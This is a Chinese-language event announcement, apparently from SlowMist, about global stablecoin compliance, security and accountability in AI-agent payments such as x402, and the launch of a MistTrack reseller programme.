全球稳定币合规：从监管要求走向应用能力
随着稳定币逐步进入零售支付、跨境结算、商户收款、企业资金管理等真实场景，行业关注的重点也正从发行本身，进一步延伸至如何安全、合规、高效地应用。与此同时，全球主要市场的监管框架持续完善，合规要求也正从发行端延伸至支付、交易和风控等应用环节，并逐渐成为机构建立信任、拓展真实商业场景的重要能力。
本次活动将聚焦全球稳定币合规演进，以及其对发行、支付、交易和风控实践带来的影响，探讨行业如何在合规基础上推动稳定币进一步落地。
智能体支付：从“人付款”走向“Agent 付款”
AI Agent 正逐步具备查询、比价、采购、调用服务与执行支付等能力。以 x402、MPP 为代表的机器支付协议，以及 Agent 钱包、支付凭证和身份系统的不断发展，正在推动软件从“使用服务”走向“自主完成交易”，直接为 API、数据和数字服务买单。
但 Agentic Payments（智能体支付）并不只是让机器拥有一个钱包，更意味着支付责任与权限边界正在发生变化：谁为 Agent 的行为负责？用户授予了哪些权限？预算如何控制？交易对手与资金流向如何验证？当发生误付、欺诈或异常交易时，又该如何审计与处置？
这些新的安全与合规问题，也将成为智能体支付进一步落地必须面对的挑战。活动将围绕 x402、Agentic Payments 及相关基础设施的发展，分享行业实践与探索，讨论智能体支付在安全、合规及实际应用中的挑战。
安全与合规：构建可信支付新基础
慢雾(SlowMist) 长期深耕区块链安全、链上威胁情报、资金追踪及 KYT/AML 等领域，并通过 MistTrack 等产品持续为数字资产平台、Web3 项目及金融机构提供链上风险识别与资金监测能力。
当稳定币与智能体支付逐步进入真实业务场景，安全与合规也需要进一步融入产品设计、支付授权和风险控制等关键环节。活动中，慢雾(SlowMist) 将围绕稳定币合规与智能体支付安全，分享相关实践与观察，并正式发布 MistTrack 代理商计划，连接更多生态伙伴，推动链上风控能力进入更广泛的支付与商业场景。
活动现场还特别设计了数场每人 10 分钟的开放麦(Open Mic) 分享环节。如果你对上述主题感兴趣，或有相关实践与经验想要分享，欢迎报名参与！
更多嘉宾名单及完整议程细节，将陆续揭晓，敬请关注。